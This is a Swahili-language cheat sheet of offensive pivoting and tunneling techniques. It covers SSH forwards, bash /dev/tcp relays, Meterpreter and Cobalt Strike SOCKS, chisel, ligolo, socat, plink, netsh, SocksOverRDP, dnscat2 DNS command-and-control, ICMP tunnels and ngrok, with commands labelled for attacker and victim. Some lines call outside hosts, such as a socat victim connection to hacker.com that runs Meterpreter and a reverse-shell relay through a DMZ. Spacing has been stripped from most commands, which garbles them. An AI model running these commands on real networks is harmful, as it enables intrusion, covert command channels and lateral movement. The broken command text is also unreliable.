ICMP na SYN scans haiwezi kupitishwa kupitia socks proxies, hivyo lazima tuondoe ping discovery (-Pn) na kubaini TCP scans (-sT) ili hii ifanye kazi.
Bash
Host -> Jump -> InternalA -> InternalB
# On the jump server connect the port 3333 to the 5985mknodbackpipep;nc-lvnp59850<backpipe|nc-lvnp33331>backpipe# On InternalA accessible from Jump and can access InternalB## Expose port 3333 and connect it to the winrm port of InternalBexec3<>/dev/tcp/internalB/5985exec4<>/dev/tcp/Jump/3333cat<&3>&4&cat<&4>&3&# From the host, you can now access InternalB from the Jump serverevil-winrm-uusername-iJump
SSH
SSH muunganisho wa picha (X)
ssh-Y-C<user>@<ip>#-Y is less secure but faster than -X
Local Port2Port
Fungua Bandari Mpya kwenye SSH Server --> Bandari Nyingine
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Local port 1521 accessible in port 10521 from everywhere
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Remote port 1521 accessible in port 10521 from everywhere
Port2Port
Porti za ndani --> Kituo kilichovunjwa (SSH) --> Sanduku_tatu:Port
ssh-issh_key<user>@<ip_compromised>-L<attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host#Examplesudossh-L631:<ip_victim>:631-N-f-l<username><ip_compromised>
Port2hostnet (proxychains)
Porti za ndani --> Kihosti kilichoshambuliwa (SSH) --> Popote
ssh-f-N-D<attacker_port><username>@<ip_compromised>#All sent to local port will exit through the compromised server (use as proxy)
Reverse Port Forwarding
Hii ni muhimu kupata reverse shells kutoka kwa mwenyeji wa ndani kupitia DMZ hadi mwenyeji wako:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
Unahitaji root katika vifaa vyote viwili (kama unavyotaka kuunda interfaces mpya) na usanidi wa sshd lazima uruhusu kuingia kwa root:
PermitRootLogin yesPermitTunnel yes
sshroot@server-wany:any#This will create Tun interfaces in both devicesipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPifconfigtun0up#Activate the client side network interfaceipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IPifconfigtun0up#Activate the server side network interface
Bandari ya ndani --> Kituo kilichoshambuliwa (sehemu inayofanya kazi) --> Sanduku_tatu:Bandari
# Inside a meterpreter sessionportfwdadd-l<attacker_port>-p<Remote_port>-r<Remote_host>
SOCKS
background#meterpretersessionrouteadd<IP_victim><Netmask><Session># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Njia nyingine:
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Cobalt Strike
SOCKS proxy
Fungua bandari katika server ya timu inayosikiliza katika interfaces zote ambazo zinaweza kutumika kuelekeza trafiki kupitia beacon.
beacon> socks1080[+] started SOCKS4a server on: 1080# Set port 1080 as proxy server in proxychains.confproxychainsnmap-n-Pn-sT-p445,3389,598510.10.17.25
rPort2Port
Katika kesi hii, bandari imefunguliwa katika mwenyeji wa beacon, sio katika Server ya Timu na trafiki inatumwa kwa Server ya Timu na kutoka hapo kwa mwenyeji:bandari iliyoonyeshwa.
Reverse port forward ya Beacon imeundwa ili kufanya tunneling ya trafiki kwa Server ya Timu, sio kwa kuhamasisha kati ya mashine binafsi.
Trafiki inafanywa tunneling ndani ya trafiki ya C2 ya Beacon, ikiwa ni pamoja na viungo vya P2P.
Haki za Admin hazihitajiki kuunda reverse port forwards kwenye bandari za juu.
rPort2Port local
Katika kesi hii, bandari imefunguliwa katika mwenyeji wa beacon, sio katika Server ya Timu na trafiki inatumwa kwa mteja wa Cobalt Strike (sio kwa Server ya Timu) na kutoka hapo kwa mwenyeji:bandari iliyoonyeshwa
./chiselserver-p8080--reverse#Server -- Attacker./chisel-x64.execlient10.10.14.3:8080R:socks#Client -- Victim#And now you can use proxychains with port 1080 (default)./chiselserver-v-p8080--socks5#Server -- Victim (needs to have port 8080 exposed)./chiselclient-v10.10.10.10:8080socks#Attacker
# Start proxy server and automatically generate self-signed TLS certificates -- Attackersudo./proxy-selfcert# Create an interface named "ligolo" -- Attackerinterface_create--name"ligolo"# Print the currently used certificate fingerprint -- Attackercertificate_fingerprint# Start the agent with certification validation -- Victim./agent-connect<ip_proxy>:11601-v-accept-fingerprint<fingerprint># Select the agent -- Attackersession1# Start the tunnel on the proxy server -- Attackertunnel_start--tun"ligolo"# Display the agent's network configuration -- Attackerifconfig# Create a route to the agent's specified network -- Attackerinterface_add_route--name"ligolo"--route<network_address_agent>/<netmask_agent># Display the tun interfaces -- Attackerinterface_list
Ufunguo wa Wakala na Kusikiliza
# Establish a tunnel from the proxy server to the agent# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attackerlistener_add--addr0.0.0.0:30000--to127.0.0.1:10000--tcp# Display the currently running listeners on the agent -- Attackerlistener_list
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker> socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exeTCP-LISTEN:2222OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5#Execute the meterpreter
Unaweza kupita proxy isiyo na uthibitisho ukitekeleza mstari huu badala ya wa mwisho kwenye konso ya mwathiriwa:
# Execute these commands on both sidesFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
Unganisha bandari ya SSH ya ndani (22) na bandari ya 443 ya mwenyeji wa mshambuliaji
attacker> sudosocatTCP4-LISTEN:443,reuseaddr,forkTCP4-LISTEN:2222,reuseaddr#Redirect port 2222 to port 443 in localhostvictim> whiletrue; dosocatTCP4:<attacker>:443TCP4:127.0.0.1:22 ; done# Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22attacker> sshlocalhost-p2222-lwww-data-ivulnerable#Connects to the ssh of the victim
Plink.exe
Ni kama toleo la console la PuTTY (chaguzi ni sawa na mteja wa ssh).
Kwa kuwa hii binary itatekelezwa kwenye mwathirika na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na muunganisho wa kurudi. Kisha, ili kupeleka tu bandari inayoweza kufikiwa ndani kwa bandari kwenye mashine yetu:
echoy|plink.exe-l<Our_valid_username>-pw<valid_password> [-p <port>]-R<port_in_our_host>:<next_ip>:<final_port><your_ip>echoy|plink.exe-lroot-pwpassword [-p 2222]-R9090:127.0.0.1:909010.11.0.41#Local port 9090 to out port 9090
Windows netsh
Port2Port
Unahitaji kuwa msimamizi wa ndani (kwa bandari yoyote)
netshinterfaceportproxyaddv4tov4listenaddress=listenport=connectaddress=connectport=protocol=tcp# Example:netshinterfaceportproxyaddv4tov4listenaddress=0.0.0.0listenport=4444connectaddress=10.10.10.10connectport=4444# Check the port forward was created:netshinterfaceportproxyshowv4tov4# Delete port forwardnetshinterfaceportproxydeletev4tov4listenaddress=0.0.0.0listenport=4444
SocksOverRDP & Proxifier
Unahitaji kuwa na RDP access juu ya mfumo.
Pakua:
SocksOverRDP x64 Binaries - Chombo hiki kinatumia Dynamic Virtual Channels (DVC) kutoka kwa kipengele cha Remote Desktop Service cha Windows. DVC inawajibika kwa tunneling packets juu ya RDP connection.
Katika kompyuta yako ya mteja pakia SocksOverRDP-Plugin.dll kama ifuatavyo:
# Load SocksOverRDP.dll using regsvr32.exeC:\SocksOverRDP-x64> regsvr32.exeSocksOverRDP-Plugin.dll
Sasa tunaweza kuunganisha na mhasiriwa kupitia RDP kwa kutumia mstsc.exe, na tunapaswa kupokea kipeperushi kinachosema kwamba SocksOverRDP plugin imewezeshwa, na itakuwa inaskiliza kwenye 127.0.0.1:1080.
Unganisha kupitia RDP na upakuze & tekeleza kwenye mashine ya mhasiriwa SocksOverRDP-Server.exe binary:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Sasa, thibitisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikiliza:
netstat -antb | findstr 1080
Sasa unaweza kutumia Proxifierkupanua trafiki kupitia bandari hiyo.
Proxify Windows GUI Apps
Unaweza kufanya programu za Windows GUI zipitie proxy kwa kutumia Proxifier.
Katika Profile -> Proxy Servers ongeza IP na bandari ya seva ya SOCKS.
Katika Profile -> Proxification Rules ongeza jina la programu ya kupanua na muunganisho kwa IP unazotaka kupanua.
NTLM proxy bypass
Kifaa kilichotajwa hapo awali: RpivotOpenVPN pia kinaweza kupita, kuweka chaguzi hizi katika faili la usanidi:
Inathibitisha dhidi ya proxy na inafunga bandari kwa ndani ambayo inapelekwa kwa huduma ya nje unayoelekeza. Kisha, unaweza kutumia chombo chochote unachokipenda kupitia bandari hii.
Kwa mfano, inapeleka bandari 443
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Sasa, ikiwa utaweka kwa mfano katika mwathiriwa huduma ya SSH kusikiliza katika bandari 443. Unaweza kuungana nayo kupitia bandari ya mshambuliaji 2222.
Pia unaweza kutumia meterpreter inayounganisha na localhost:443 na mshambuliaji anasikiliza katika bandari 2222.
Inaunda channel ya C&C kupitia DNS. Haihitaji ruhusa za root.
attacker> ruby./dnscat2.rbtunneldomain.comvictim> ./dnscat2tunneldomain.com# If using it in an internal network for a CTF:attacker> rubydnscat2.rb--dnshost=10.10.10.10,port=53,domain=mydomain.local--no-cachevictim> ./dnscat2--dnshost=10.10.10.10,port=5353
Katika PowerShell
Unaweza kutumia dnscat2-powershell kuendesha mteja wa dnscat2 katika powershell:
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Badilisha DNS ya proxychains
Proxychains inakamata gethostbyname libc call na inatunga ombi la tcp DNS kupitia socks proxy. Kwa kawaida seva ya DNS ambayo proxychains inatumia ni 4.2.2.2 (imeandikwa kwa nguvu). Ili kubadilisha, hariri faili: /usr/lib/proxychains3/proxyresolv na ubadilishe IP. Ikiwa uko katika mazingira ya Windows unaweza kuweka IP ya meneja wa kikoa.
Root inahitajika katika mifumo yote ili kuunda tun adapters na kutunga data kati yao kwa kutumia maombi ya ICMP echo.
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#After a successful connection, the victim will be in the 1.1.1.100
# Generate itsudo./autogen.sh# Server -- victim (needs to be able to receive ICMP)sudoptunnel-ng# Client - Attackersudoptunnel-ng-p<server_ip>-l<listen_port>-r<dest_ip>-R<dest_port># Try to connect with SSH through ICMP tunnelssh-p2222-luser127.0.0.1# Create a socks proxy through the SSH connection through the ICMP tunnelssh-D9050-p2222-luser127.0.0.1
ngrok
ngrokni chombo cha kufichua suluhisho kwa Mtandao kwa amri moja tu.
&#xNAN;Exposition URI ni kama:UID.ngrok.io
Usanidi
Unda akaunti: https://ngrok.com/signup
Pakua mteja:
tarxvzf~/Downloads/ngrok-v3-stable-linux-amd64.tgz-C/usr/local/binchmoda+x./ngrok# Init configuration, with your token./ngrokconfigedit
Ikwezekana pia kuongeza uthibitisho na TLS, ikiwa ni lazima.
Kuingiza TCP
# Pointing to 0.0.0.0:4444./ngroktcp4444# Example of resulting link: 0.tcp.ngrok.io:12345# Listen (example): nc -nvlp 4444# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
Kufichua faili kwa HTTP
./ngrokhttpfile:///tmp/httpbin/# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
Sniffing HTTP calls
Maana kwa XSS, SSRF, SSTI ...
Moja kwa moja kutoka stdout au katika kiolesura cha HTTP http://127.0.0.1:4040.
Tunneling internal HTTP service
./ngrokhttplocalhost:8080--host-header=rewrite# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/# With basic auth./ngrokhttplocalhost:8080--host-header=rewrite--auth="myuser:mysuperpassword"
ngrok.yaml mfano wa usanidi rahisi
Inafungua miji 3:
2 TCP
1 HTTP na uwasilishaji wa faili za kudumu kutoka /tmp/httpbin/